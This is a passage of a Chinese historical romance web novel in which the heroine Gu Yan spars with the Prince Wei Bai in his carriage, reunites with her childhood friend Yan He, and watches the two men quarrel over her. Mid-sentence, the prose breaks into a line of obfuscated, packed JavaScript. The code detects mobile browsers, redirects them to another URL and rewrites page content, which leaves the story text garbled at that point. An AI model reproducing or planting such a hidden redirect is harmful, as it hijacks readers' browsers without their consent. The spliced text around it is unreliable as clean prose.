她曾那般真挚恳切,说仰慕殿下文才,想到他身边侍奉。没多久,她又说仰慕陶灵。不过陶灵已故,再是明月,她也见不到,那就罢了。现在竟又冒出一个鄢和,还日月同辉? 难道她对每个欣赏对象,都要那般剖白一番?引对方牵肠挂肚之后,又义正言辞地说对他没有非分之想? 呵。 顾雁很快明白了他的意思。 她顿时气极。 就算他是颖王,也顾不上了! “殿下慎言!就算我是侍婢,也不能被如此轻贱!我与少公子自幼相识,清清白白,从未逾矩!” 卫柏放下书,深邃目光直盯着她:“那你唯独与我,不清白?” 扑咚……顾雁的心重重一跳。一接住卫贼的目光,心跳就抑不住地加快,她偏头躲开他的注视,低声道:“奴婢与殿下,也清清白白。” 卫柏却直起身靠近她,非要捏着她的脸,强行让她转头看自己,听他追问:“哪种清白?你受伤时,也被鄢和抱过?” 顾雁恼得瞪他:“没有!” 卫柏轻轻勾起唇角,又问:“你也曾评议他的文章到半夜?” “没有!” 他的身子越发前倾,凑得愈来越近:“你也曾等他回府到深夜?” “没有!” 他忽然按住她放在褥垫上的手,力道之大,根本不给她退后之机:“你也曾眠于他的卧榻?” “没有!”顾雁一声比一声恼。每被问一句,与卫贼相处的点滴画面就瞬间回到脑海,教她只觉羞耻。她赶忙抬起另一只手,用力抵住他胸前。“殿下何必又把我当犯人一般审问,既然疑我,干脆停车让我下去!” 卫柏面不改色地说道:“我只是觉得,容娘与我的清白,好像跟与他的清白不一样。” 顾雁抿住发干的唇瓣,看着他近在咫尺的英俊面容。 她的脑子乱极了,抵住他胸口的手也渐渐放松,然后被他一把握住。手劲也大得教她无法挣脱。她只好退身往后,可刚退半尺,便抵住了车厢壁,再退无可退。 他竟又顺势欺上,把她双手按在褥垫上。十指连心,他掌心灼热一直传到心腔,燎得她无法安宁。而他还缓缓俯首,凑到她耳旁低语:“告诉我,为什么?” 低沉的话语,像猎人的陷阱,诱她步步深陷。 那当然是…… 她对平宣阿兄只是单纯欣赏,仅此而已。对卫贼做那些,都是因为要骗他啊! 她显然不能说出真相。 “因为……”顾雁咽下津液,飞快思量该怎么编造说辞。 卫柏很有耐心,静静盯着她,不催促也不放手。就像他常年在战场上,极有耐心地与敌人周旋,设下埋伏,等待最有利的时机。 以她的能说会道,本可以飞快想出谎话。可他太有压迫感,虽没说话,只笼罩在他咄咄逼人的目光下,她就没法冷静。他的鼻息靠在她鬓边,他离得这样近,连起伏的胸腔都贴在一旁,感触如此清晰。 就好像,身边伏伺着一只凶兽,只要她露出一丝破绽,就会被彻底吞噬。顾雁突然有些后悔,招惹如此危险的卫贼,一切都开始失控了。 不不不! 就算卫贼是一把再危险的刀,她亦要牢牢握住刀柄。 “殿下,”她轻声说道。 唇瓣上的润泽微光,落在卫柏眼里,亦搅得他瞳仁里墨云翻覆。 “嗯?”他喉头滚出一声回应。 “殿下跟‘北陶南鄢’不一样。” “何处不同?”卫柏的眸里燃起一抹好奇。 “他们是日月同辉,殿下却能,移天换日。”顾雁压着震响的心跳,迎着他的目光轻声说着。卫柏的瞳仁里,徐徐浮起一抹惊讶。 “但奴婢觉得……”顾雁正待继续说时,忽听窗外传来一阵马蹄。严义疾驰来到外面:“启禀主公!汝平太守率当地士族在前方等候!主公是否停车一见?” 卫柏眸里浓郁的好奇顷刻烟消云散。他长长一叹,转头看向窗外:“知道了,在前方停车。” 严义一愣,这才发现主公坐在容娘子身旁,俯首贴在她脸颊边……似在亲她?! 哎哟!进展迅速!不愧是主公! 怪不得主公盯来的目光里,透着令人肝颤的杀气! “末将去知会程仆射!”严义连忙御马转头,飞驰而去。 趁卫贼分神的间隙,顾雁一溜烟钻出了他的包围,爬到车厢另一个角落,抱起双膝飞快说道:“殿下,汝平太守在前面等着,还请尽快整理衣冠。” “孤衣冠不整吗?”卫柏无奈回头。 顾雁飞快瞥了一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14612456|153715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,转头说道:“倒也没有。” 卫柏背靠车壁,曲起长腿:“你方才说,觉得什么?” 然而马车已然徐徐停下。顾雁迅速扯过褥垫上的面巾戴好,坐回角落里说道:“改日再说吧。” 外面传来震响的问候:“参见颖王殿下!” 卫柏捏紧手,深深吸了口气:“好。” 他理了理衣襟,转身看向车窗外,恢复了淡然面色:“众卿不必多礼。” 顾雁长长吁了口气,抬手抚住双颊,发现两颊已然比手还烫。 卫贼这厮,空长一副温文尔雅的皮囊,实则狂徒!宋夫人说他狂悖,也是有几分道理的! 她悄然瞄向窗外。官道旁边,乌泱泱跪了一群人。她赶紧往后一缩,躲在车厢角落里。 道路远处,丘陵起伏,这里应该离武望山不远了,所以汝平太守特意赶来迎接。今晚应该就会在山下驻营,得想办法去见鄢和一面。她敢笃定,鄢和之所以突然要求同行,也是因为她。就算不去见他,鄢和应该也会想办法来联系自己。 卫贼与当地官员寒暄了几句话后,车驾重新启行。 许是昨夜颖王遇刺的消息已传给汝平太守,今日还来了许多官兵,将车队护得如铁桶一般。车窗外面不时有骑兵巡逻,卫柏重新开始看书,再未上前问她。 顾雁正好安坐在角落,靠着车壁自顾思量。时间一长,又开始昏昏欲睡。 眼看路程已近,卫贼下令加快了速度。刚到下午,车队便抵达了武望山附近。 沿着官道分支的小路前行,穿过一片树林,前方忽然视野辽阔。大片金黄麦田分布在道路两旁,田边坐落着稀疏的村庄。雄伟如屏的武望山,矗立在田野尽头。遥遥望去,山腰上一座玄阳祠,在黄绿交映的山林间,显得格外引人注目。 车马飞驰,山峦越来越近。 顾雁远远瞧见,前方一片千丈峭壁下,一块巨石突兀地立在下面空旷的荒地。往上看,悬崖顶部奇石耸立,人迹难至。看样子,石头应是从上面落下的。 “怎么上去刻字的……”顾雁不禁纳闷。 “自然是玄阳天君显灵。”卫柏也在看着远处。 顾雁无奈睨了他一眼:“行吧。” 车队行到离悬崖不远处停下,车马各自停驻,开始扎营。 顾雁先行下车,顿时引来无数瞩目。毕竟这是颖王车驾,梁城官员和汝平官员都在暗暗关注。还好她戴了面巾,顶着无数针扎般射来的目光,还能自在一些。 她随后站在车旁,等候颖王下车。 这时,程仆射带着一大群人走到近前。其中,竟有一名中年妇人和一名戴着幕离的年轻女子。对方所有人的眼神,也尽数落到了她身上。 顾雁忽然冒出一个不好的预感。 对方走到近前。程仆射对颖王恭敬施礼后,又道:“殿下,此乃拙荆宋氏,小女阿蕴。她们平时住在汝平老宅,此次专程前来拜谒奇石。她们既来了,臣便叫她们过来向殿下见礼。” “见过颖王殿下。”程蕴盈盈施礼,声音清澈得好似山中泉水叮咚。短短几个字,便格外悦耳。 山风徐徐,吹起程娘子头上的白纱幕离,如蝶翼般若隐若现,翩翩起舞,映出她婀娜动人的身姿。顾雁忽然意识到,啊,这就是未来的颖王妃,果然是高门贵女,仪态万方。 “嗯,”卫柏淡淡应了一声。 “殿下,”顾雁忽然说道,“鄢公子是奴婢旧主。今日重逢,有许多话想与鄢公子一叙,奴婢先退下了。”她朝卫柏和程仆射等人一一福礼,躬身退到远处,匆匆转身。 于是她再没看到,卫柏盯着她背影的冷冽目光,和他负在身后捏紧的手指。 24. 争执 刚走一段路,顾雁忽然有点后悔。 鄢和的马车在车队最后面,而颖王车驾在队伍最前。所以,她得穿过整整一条队伍,去找鄢和。途中,得接受无数官员和侍从的目光洗礼。她抱着双臂,尽量目视前方,保持着面色平静。还好有面巾挡着脸,让她找回了一些安全感。 这些正在看她的人,定然有那晚的刺客同党。反正已被他们知晓了身份,她再一味躲在车厢里,也无济于事。现在,神鸮营定然也在暗中调查潜伏的刺客。不知什么时候会查出来,也不知是否会牵连她。 这些她都左右不了,只能尽快联系鄢和,与他商量一番对策。至少有个助力,比自己单独面对这些潜藏危险更好一些。好在明面上,鄢和是她的旧主,就这么正大光明地去叙旧,也是理直气壮的。若是半夜穿过数百人的营地,偷偷摸摸去找他,反倒容易被发现和怀疑。 如此想着,走了半晌,终于来到队伍最末尾。她遥遥看到鄢家马车,加快了脚步。 鄢和正站在车厢旁,抱着手来回踱步,似在思量什么。他看到走来的顾雁,眸中骤然一亮,疾步上前迎向她:“阿……容娘!” 他匆匆来到近前,握住她的双肩,将她从头到脚,仔仔细细地打量了好几遍。他眼眶倏尔泛红,压着难以置信的激动:“容娘,我找了你很久。” “嘘……”顾雁轻声一嘘,警惕地左右环顾一圈。附近还有其他官员的车马,随行人员正忙着扎营。汝平地方官兵守卫在旁,还有神鸮营宿卫不时巡逻。她低声道:“少公子,此处人多眼杂。我们找一处僻静地方说话。” 鄢和连忙点头,拉着她的手臂疾步返回。 虽隔着衣袖,仍能感觉到他指尖的凉意。顾雁轻轻挣脱他的手,鄢和讶然回头,却见她腼腆一笑:“少公子,我自己走也无妨。” 鄢和面露歉意:“抱歉,我一时情急。” “不要紧。”顾雁莞尔。 虽然小时候,她也曾拉着鄢和满园子乱跑,但毕竟那时还小。现在他们都长大了,好像当着这么多人拉手,有些不合适。 两人来到停在偏僻处的鄢家马车旁。鄢和低声吩咐小厮:“盯紧周围,若有其他人接近,立刻示警。” “是。” 鄢和旋即示意顾雁上车说话。她点点头,提裙登上车厢。 两人都坐在车里后,鄢和警惕地看了一眼外面,确定没有旁人靠近,才回头看她,低声急问:“阿雁,你怎会在卫贼身边?!” 顾雁叹了口气,把这些年的经历简单地说了一遍。 鄢和难以置信:“当年谢夫人把你送走,应是让你来霁山找鄢家。你为何不来?” 霁山,是鄢氏老宅所在之地。而谢夫人,就是顾雁的娘亲。 顾雁摇头:“难道卫贼不会注意霁山吗?我去你家,只会让鄢家背上窝藏顾氏罪女的名头。” 鄢和沉默下来。只听她又问:“鄢伯父近来身体如何?” “还算硬朗。但宅邸门外有人日夜监视,逼不得已,父亲只能称病不出,谢绝一切拜访。如此谨慎过了两年,父亲才让我到梁城应召。”鄢和怅然说道。 顾雁轻轻颔首:“卫贼多疑,鄢伯父又是顾氏倚重旧臣,他必不放心。幸亏鄢伯父收敛锋芒,也幸亏我没去霁山,否则定会牵连你家,让鄢家这两年也过不安稳。” “小时候,祖母和谢夫人就让我好好照顾你。我却辜负了她们的嘱托……” 鄢和捏紧衣摆,眸色里回荡着深切的哀恸,“顾侯被俘北上时,我就听到传言说,丹阳郡主在颖军入城前重病暴亡,连夜下葬。可我不信,你一向康健活泼,怎会重病暴亡?后来我托人打听,得知颖军押出顾府的囚犯里当真没有你。又想,万一你侥幸逃过一劫呢?于是我又派小厮暗中扮做行商,四处找你,还是一无所获……” 顾雁放柔了声音:“平宣阿兄,不必愧疚。北上寻亲是我自己的决定,从未后悔。也许你觉得这很愚蠢。阿娘明明已经送我出来了。可我顾雁实在做不到,明知他们在远方煎熬,自己独善其身,亦或牵连旁人。他们是我骨肉至亲,就算赴死,我也愿陪他们一起。” 她温婉的声音里,每个字都无比坚定。 鄢和久久看着她,最终一声叹息:“你从小便如此。心如磐石,坚不可摧。” 他摇摇头,又道:“鄢家这两年断绝了一切对外来往,更不曾探过梁城的消息。也不知顾侯和谢夫人到底被如何处置了……” “我来梁城这段时日,向一些百姓打听过,他们也没听闻过。再往上的官员,我暂时还未接触。后来我又听到卫贼的口风,兄长应该还活着!如今我已混进颖王府,应该有机会去府中典录司一探,找到他们的下落!” 顾雁越说越快,眼里闪烁着希望的光芒:“待找到他们的下落,再看看能为他们做些什么!” 鄢和瞳仁震颤:“你委身于卫贼了?!” “没有!”顾雁心脏扑通震响,当即否认。然而她脸颊却泛起红晕,“我只是卫贼身边的侍墨婢。这厮多疑,向来不信任我,还非要把我留在身边,说要亲自监视我。” “可是……”鄢和眉间闪过一丝疑惑。之前在路边遇到卫贼车驾时,那厮看她的眼神,可不简单。 但他并不想在阿雁面前点破,遂道:“你可知卫贼有多狠厉?当年,先颖王平定雍州后,当地又起叛乱,卫贼去平叛。在他手里,叛党一个没留。这两年,江州官员个个被严密监视,但凡露出不臣之举,就会即刻撤职下狱,轻则流放,重则斩杀!” 顾雁心头浮起深深的哀戚。她垂眸一叹:“江州骤换新主,必有此劫。我知道卫贼的施政手段。辛苦鄢伯父和平宣阿兄,这两年,你们一定过得很不容易。” “所以阿雁,赶快离开颖王府!”鄢和急切说道,“何苦在卫贼身边如履薄冰,颤颤度日?待我到梁城,我去打听顾侯的消息!” 顾雁面露犹疑,轻轻咬唇:“可是……我快得手了……就此放弃,有些可惜。” 鄢和连连摇头:“谢夫人更希望,你能好好活着。” 顾雁的眼眶迅速泛红:“我知道。”刹那间,她的声音有些发颤。 鄢和眸色一慌,忙温柔安慰:“阿雁别哭。” 可她抬手捂住了脸,彻底沉默下来。 他叹了口气,忽然瞥见车座角落里的瓷罐,连忙拿起捧给她:“阿雁你看,这是我从家里带来的杨梅蜜煎。你小时候最爱吃的,快尝尝。就是我在路上已吃了一半……你莫嫌弃……” 顾雁闻言放下手,接过沉甸甸的瓷罐。 打开盖子,浓郁的蜜香扑面而来。她拎起一颗,指腹便被蜜漬的杨梅黏上。这东西就是这样,以前她每次吃杨梅蜜煎,都得先备上一块润湿的帕子,好擦手。 鄢和已把帕子递到她面前:“一会儿擦手。” “嗯。”顾雁把蜜漬杨梅含在嘴里。 她只一尝,便知道这是上好的翘摇花蜜,清香甘甜。煮透晒干的杨梅多了韧劲,浓缩了酸甜,又被花蜜的甘味中和,一嚼便口齿生津。顾雁细细嚼了好几口,都舍不得咽下。 恍惚间,娘亲好像就坐在对面,正托着腮,笑眯眯看自己抱着瓷罐,一个接一个往嘴里塞杨梅蜜煎。她被瞧得不好意思,用糊满紫色汁水的小胖手,抓一个递给娘亲,还说得囫囵不清:“阿娘,只能分你一个哟。” 娘亲噗嗤一笑,拿帕子用力擦净自己的嘴:“都是阿雁的。” 如今她吃杨梅蜜煎,已经不会弄得满手黏糊,满嘴蜜汁了。顾雁又拎起一个。看,只要用食指和拇指轻轻一夹就好。 眼前娘亲的影子,忽被一团雾气,蒙得模糊不清。 一颗豆大的眼泪,滚落进了瓷罐。 鄢和慌忙问道:“是太酸了吗?” 顾雁赶紧摇头:“没有,很好吃。” 耳畔忽又出现了兄长爽朗的声音:“说吧!要哪兜,阿兄都给你摘下来!” 她叉腰指着天上,奶呼呼地嚷道:“要树顶最甜的!” “等着!”兄长一撩衣摆,掖在腰带上,三两下就翻到了树杈上。 江州的杨梅树,总是长得很高,很难爬到树顶。 可阿兄总能做到。 “嘎吱”脆响,兄长踮脚摘了最高的那串杨梅,那里被阳光照得最多,味道最甜。“接好了啊!”兄长猫起腰,对树下眼巴巴的她说道。 “嗯!”她高高举起手,对准兄长的方向。 北方没有杨梅蜜煎,也没有杨梅树。她已经两年没吃过这东西了。 好甜啊。 以前就没发现,原来一个接一个吃,若不小心吃进了酸涩的眼泪,舌头更觉甜得发齁。 “慢些吃,这罐都给你。”鄢和温柔说道,“过些时日,家里还会派人给我送。” 顾雁深吸一口气,忍住胸中喷薄的伤怀,问道:“平宣阿兄要在梁城留很久?” 鄢和淡淡苦笑:“与其说我来梁城应召出仕,不如说,我是鄢氏派来梁城的质子。鄢氏是江州士族之首,只有鄢氏明确表态了,江州才得安宁。如此,不知何年何月,我才能再回江州了。” 顾雁停下咀嚼。默然片刻后,她咽下杨梅,说道:“既如此,我更不能牵连平宣阿兄了。你身份敏感,若出面打探母亲和兄长,定会被认为是企图勾连旧主,有不臣之心。” “阿雁!”鄢和肃然打断,“我不惧犯险!何况我定会小心谨慎。以你我的情分,就莫要如此见外了。” “可是……你身后还有鄢氏和江州啊……”顾雁轻轻说道。 鄢和再次沉默下来。 这时,车厢外响起鄢家小厮的赔笑声音:“这位军爷,可是来寻我家公子?” 两人浑身一凛,忙止住话头。鄢和探身看向车外。顾雁慌忙抬袖擦了一把眼角,转头往外看去。 只见严义手扶佩剑,大步迈来。待到车厢外,他拱手一礼,沉声道:“容娘子,主公说,该回去用午膳了。” “啊?”顾雁抬头看了看天色。日头偏西,正是下午。她想起来了,先前卫贼确实吩咐过,午间加速赶路不休息,待下午到了武望山再一起吃。 她还未应答,鄢和便插话道:“劳烦将军回禀颖王,容娘已在这里吃过了。我带了很多家乡小食,她正在吃。” 顾雁连忙点头,举起手中瓷罐:“严都尉,这是江州特产的杨梅蜜煎,很好吃。要尝尝么?” “不必了。”严义摇头,忽又疑惑问道,“容娘子,你怎么哭了?” “啊?”顾雁一懵,忙又意识到,此刻自己眼眶应该很红。她连忙捡一颗蜜漬杨梅塞进嘴里,鼓着腮帮说道,“因为太好吃了,又太久没吃上,便感动哭了。” 她再次举高瓷罐:“来一个吧严都尉!” 严义终于有点动摇:“这般好吃?”他将信将疑地抓了一个尝进嘴里,顿时蹙眉:“太甜了,某吃不惯。” 顾雁撇撇嘴,捡出一颗杨梅晃了晃:“可惜都尉没有口福了。还请转告殿下,我再吃一会就回去。” “好吧,容娘子莫拖得太晚。”严义叹了口气,扶剑转身走远。 终于目送军士走远,鄢和松了口气,忙问道:“阿雁,你回绝卫贼之令,他可会恼怒罚你?” 顾雁想了想,摇头道:“不知道。卫贼这人吧,莫名其妙。有时喜欢听直言进谏,属下越说实话,他越欣赏。但有时又特别小气,说了实话反而翻脸。我也搞不懂,只能每次随机应变。就算他恼我,我机智应对几句,他通常也就消气了。关键是,现在我心情很不好,不想回去看到他。” 听着听着,鄢和眉间越蹙越紧:“阿雁,你太辛苦了,离开颖王府吧!容娘本就是鄢府之人,你只跟卫贼说被人牙子掳到北方,又不是脱籍与鄢府断了关系。如今你我重逢,你回鄢府,乃是天经地义。” “对了!”顾雁诧异问道,“我正想问你呢!你为何能编出那些容娘寻亲的话来?怎知道我跟卫贼说是被人牙子掳来的?” 鄢和忙解释道:“我北上途中,在一间驿馆下榻时,遇到两个商客,正朝掌柜打听去霁山该怎么走。听口音,他们是北方人。这就奇了,霁山大多住着鄢氏族人和佣户,他们都听父亲嘱咐,这两年断绝了与外界交往。何故有北方商客去往霁山?” 顾雁惊道,却又不得不压低声音:“他们是卫贼的探子!” “没错!”鄢和点头,“临出门前,父亲再三叮嘱,让我千万谨慎。我当时就留了心眼。晚上趁他们熟睡,我派人潜进他们房间,竟翻到一封信。” 他压低了声音继续说道:“落款是颖王府长史陶羽的印鉴,他让监视鄢府的密探,调查一名出身鄢府的侍婢,名唤容娘。我还纳闷,容娘不是还在霁山吗?她跟祖母一般年纪,怎会去了梁城,被颖王府长史知晓?再一看,陶羽所形容的容娘,竟是年轻女子,年纪品貌与你如出一辙。他还让密探着重核查,容娘与祖母的关系,言行才情如何,是否孤女,原籍何处,为何出府,又是何时出府等等。” “平宣阿兄光凭那封信,就猜到了容娘是我?”顾雁惊愕得睁大眼。 “从那封信里,我大致猜到,陶羽在调查一名出身鄢府的年轻侍婢,自称孤女,又与祖母相熟,才情品貌极好。我思来想去,直觉是你!可我不敢确定,又想到之前郡主暴亡的消息,就怕有什么蹊跷。我便将那封信偷偷放回原处,又连夜修书,写下查探结果和心中疑惑,快马送回霁山告知父亲,让他有所准备。直到今日,我见你在卫贼车上,自称容娘,才恍然明白。当时被卫贼逼问,我心里忐忑,只好大胆说出那些猜测,可帮你蒙混过去了?” 顾雁连连点头:“说得一模一样!”她忙将自己在书肆和颖王府编造的说辞,又详细说了一遍。说着,她忽觉脊背窜出一阵凉意,竟有些后怕:“多亏平宣阿兄机敏,让我逃过一劫。” 鄢和温柔道:“莫怕,父亲定然也会猜到。就算那些探子到了霁山,也什么都查不出来。” 顾雁长长吁了口气,不禁忿然道:“我就知道!卫贼疑我别有用心,定会派人查我!” 鄢和的眼眸里溢满了心疼。他柔声道:“阿雁,你不该如此辛苦……以后让我来照顾你,好吗?” 顾雁却再次沉默下来。 这边厢,她与鄢和聊得投入。 那边厢,在崖底巨石前,卫柏与程仆射等一众官员正在一旁查看。 石上刻字苍劲有力,毫无人工斧凿出错的痕迹。卫柏看了一眼,尚感满意。汝平太守躬身在旁,将颖王若干事迹,结合玄阳天君的仁爱之义,说得天花乱坠。听着听着,卫柏轻轻蹙眉,望向营地远处。 看到严义疾步走来,身旁却没跟着她,他的脸色忽然阴沉下来。 严义走上前,附在他耳旁低声说了几句话。卫柏拧眉不悦道:“好吃得都哭了?这你都信?” 旁边的汝平太守浑身一震,小心翼翼地停下说话。其他官员皆朝他们望来。 严义尴尬一笑:“味道确实不错,就是太甜了,末将吃不惯。” 卫柏顿时嫌弃:“怪不得陶从云 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宋氏没好气地说道:“就算颖王带在身边又怎样?她再受宠,左右不过是个侍婢。听你姨母说,还是个流民出身的孤女。你担心什么?你才是先颖王亲口许诺过的儿媳。” 她提到的姨母,正是颖王府中的宋夫人,与宋氏是同父姊妹。 “是阿翁和阿娘在担心,哪是我在担心。”程蕴眼里闪过一抹厌烦,不过她的声音仍然平静:“母亲觉得,现在这位颖王殿下,是个遵从父命之人么?” “这……”这话,连宋氏都没法接了。 —— 鄢氏马车上。 顾雁手边堆满食盒,纸袋,小酒坛。鄢和吩咐小厮,把家里带来的所有吃食全都拿出来给她。除了杨梅蜜煎,还有艾草红豆米糕、薏仁莲子糕、酒酿饼……点心的酥香混着清甜的梅子酿酒香,顿时将她心中的苦涩中和了许多。 她一连吃了好些,只觉肚子都撑得不行:“够了。”一说话,嘴里的点心还来不及咽下,只好喝下一大口酒,“看来平宣阿兄出趟远门,家里恨不能把所有江州小点都给你带上。” 鄢和又往她手里塞了个红豆米糕:“反正我吃不完,也要坏了扔掉,不如你给我分担。慢慢吃,放心吧。我已跟下人交待好了,若有人打听你,他们知道怎么说。” 顾雁点点头,咬了一口红豆米糕,捂着肚子无奈笑道:“实在吃不动了。” 鄢和眼眸弯弯,欣慰看着她:“北方的吃食你都不习惯吧?这次北上,我还带了家厨。待我在梁城寻好宅院,你也住过来,保准顿顿让你吃上江州的小菜。” 顾雁抹去唇边沾上了一些米渣,没有立刻答话。 这时,忽听车外又响起小厮的高唤:“小人拜见颖王殿下!” 两人浑身一震。顾雁来不及放下红豆米糕,连忙弯腰步出车厢,果然见卫柏就站在外面。 顾雁心底咯噔一响。今日与平宣阿兄叙完话,又觉卫贼面目可恶起来。只想躲着不看见他,结果他反倒自己过来了! 此刻,见她跟鄢和一前一后下车,卫柏的脸色沉得像暴雨前夕的乌云。 “殿下怎来了?”顾雁拿着咬了一半的红豆糕,尴尬地向他行礼。她拿眼角余光四周一瞥,顿觉头大。卫柏果然是行走的视线中心,无论去哪,远近目光都会投到他身上。 他习惯了,可她很不习惯啊! 比如他站在这,营地里几乎所有人都在往这看! “听叔仁说,你在这吃到美食,都不想回去用膳了。孤特来看看,到底是什么,有多好吃,把你馋成这样?”卫柏盯着她,面无表情地说道。 顾雁忽然觉得,卫贼并不像是好奇什么美食,他更像是来找茬的。 她看了看手中半块红豆糕,无奈道:“殿下稍等。”她回到车厢拿起那个小瓷罐,又下车捧到卫柏面前:“喏,殿下请看。给严都尉尝的就是这个,杨梅蜜煎,真的很好吃。殿下尝尝?” 卫柏垂眸看向罐子里,紫得发黑的干杨梅被蜜漬过,一坨坨堆在一起。他瞥了一眼旁边的鄢和,忽然对她说道:“孤要自己拿吗?” 顾雁无语。 但也没办法,她只好拎起一颗蜜漬杨梅,递给卫柏:“请殿下品尝。” 他依然负手而立,纹丝不动:“孤不想脏手。” 顾雁在心底大大翻了个白眼! 杨梅蜜煎又不是什么很脏的东西!最多黏一下,吃完擦一下不就得了!她吃过一万次都没嫌弃,他还不想脏手!哪来的矫情毛病! 她深吸了一口气,强行忍住腹诽,将杨梅送到卫柏唇边:“这样总行了吧?” 卫柏深深看了她一眼,心满意足地张口吃下杨梅。 他的柔软唇瓣触碰到她指尖,她连忙往后缩手。为了转移注意力,顾雁忙问:“殿下觉得怎么样?” 他嚼完咽下,又对她说道:“还要。” 顾雁再次无奈,只好又拿一颗喂他:“就说好吃吧!” 一边喂着,她一边继续腹诽。 平时也没见他懒成这样啊?!这厮不是挺喜欢亲力亲为么!怎么突然连手都懒得伸! 这次又碰到了他的唇瓣,她仍然飞快缩回手,却被卫柏捉住手腕。他猛然将她拉近,注视起她的眼眶。半晌,他幽幽说道:“还不至于好吃到哭出眼泪。” 顾雁撇嘴:“只是殿下自己吃不惯罢了。” 旁边看着他们的鄢和,已然气得暗暗捏拳,额角抽搐。 他深吸一口气,上前几步拱手说道:“殿下,鄢某有一事欲禀。” 卫柏移眸睨他:“说。” “容娘本是鄢府侍婢,只是暂时告假寻亲,并未彻底脱籍。她在寻亲路上遭人掳走,出了意外。这些年,我曾派人四处走访,寻找她的下落,都一无所获。如今幸而重逢,鄢某万分感激殿下对容娘的照顾。但我得将她带回鄢府了。” 卫柏挑眉:“听说容娘是鄢老夫人的随身侍婢。鄢公子对老夫人身边之人,竟如此上心。” 鄢和不卑不亢地应道:“对鄢府来说,容娘早已是一家人。我与她一同长大,情如兄妹。鄢某知道她爱吃什么,爱去哪里,喜欢什么,讨厌什么。如此亲近之人骤然失踪,鄢某自然上心。” 卫柏亦不相让:“但容娘如今已是颖王府的人,是她自己签下的身契。” “她孤身流落在外,不得已才另寻寄身之所。而鄢府才是她从小长大的家。”鄢和负手抬首,与卫柏坦荡对视。 卫柏寒声道:“当年她被卖给鄢府,身不由己做不得数。如今她亲自签下的契约才算数。何况鄢府有的东西,颖王府同样有。鄢府没有的,颖王府也有。” “按齐律,鄢府契约仍然有效。按情理,世上总个有前来后到。殿下怎能不顾法理和情理,强行夺人?” 顾雁担忧地看了看两人。 听他们争执,她真是眼前一黑。这好看吗,一个颖王殿下,一个鄢氏公子,远处多少人看着呢!还你一句我一句争得停不下来! 现在卫贼的脸色很难看了。 平宣阿兄为了她,如此顶撞卫贼,只怕要触怒他! 她连忙抱着瓷罐,跪地俯首:“请殿下息怒。少公子一时情急口不择言,实是无心冒犯。” 卫柏幽幽转眸看她,她脸上的担忧如此急切,是他从未见过的表情。 他冷声嗤笑:“你二人,果然情谊深厚。” 顾雁没有说话。 卫柏的声音愈发寒冷:“容娘,你自己选,是要回鄢府?还是留下?”